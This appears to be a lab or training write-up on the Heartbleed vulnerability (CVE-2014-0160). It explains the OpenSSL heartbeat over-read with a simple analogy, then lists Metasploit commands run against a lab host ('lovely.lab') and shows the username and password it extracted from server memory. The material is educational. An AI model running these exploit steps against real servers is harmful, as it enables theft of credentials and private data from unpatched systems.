Heartbleed

Exercise CVE-2014-0160 Heartbleed

1. Introduction

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).

The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

Source (and more information): heartbleed.com

2. Security Problem

The SSL standard includes a "heartbeat" option, which provides a way for a computer at one end of the SSL connection to double-check that there’s still someone at the other end of the line. This feature is useful because some internet routers will drop a connection if it’s idle for too long. In a nutshell, the heartbeat protocol works like this:

The heartbeat message has three parts:

  • a request for acknowledgement

  • a short, randomly-chosen message (in this case, "banana")

  • and the number of characters in that message.

The server is simply supposed to acknowledge having received the request and parrot back the message.

The Heartbleed attack takes advantage of the fact that the server can be too trusting. When someone tells it that the message has 6 characters, the server automatically sends back 6 characters in response. A malicious user can take take advantage of the server’s gullibility:

Obviously, the word "giraffe" isn’t 100 characters long. But the server doesn’t bother to check before sending back its response, so it sends back 100 characters. Specifically, it sends back the 7-character word "giraffe" followed by whichever 93 characters happen to be stored after the word "giraffe" in the server’s memory. Computers often store information in a haphazard order in an effort to pack it into its memory as tightly as possible, so there’s no telling what information might be returned. In this case, the bit of memory after the word "giraffe" contained sensitive personal information belonging to user John Smith.

In the real Heartbleed attack, the attacker doesn’t just ask for 100 characters. The attacker can ask for around 64,000 characters of plain text. And it doesn’t just ask once, it can send malicious heartbeat messages over and over again, allowing the attacker to get back different fragments of the server’s memory each time. In the process, it can gain a wealth of data that was never intended to be available to the public.

3. Exploit vulnerable webservice

My goal is to extract valid login credentials from the webservers memory

Let's fire up metasploit

./msfconsole
search heartbleed
use 1
show options
set rhost lovely.lab
set verbose true
exploit

Let's check the output:

username: boris

password: vLAT4mCY030vm2y05n4y5g

Last updated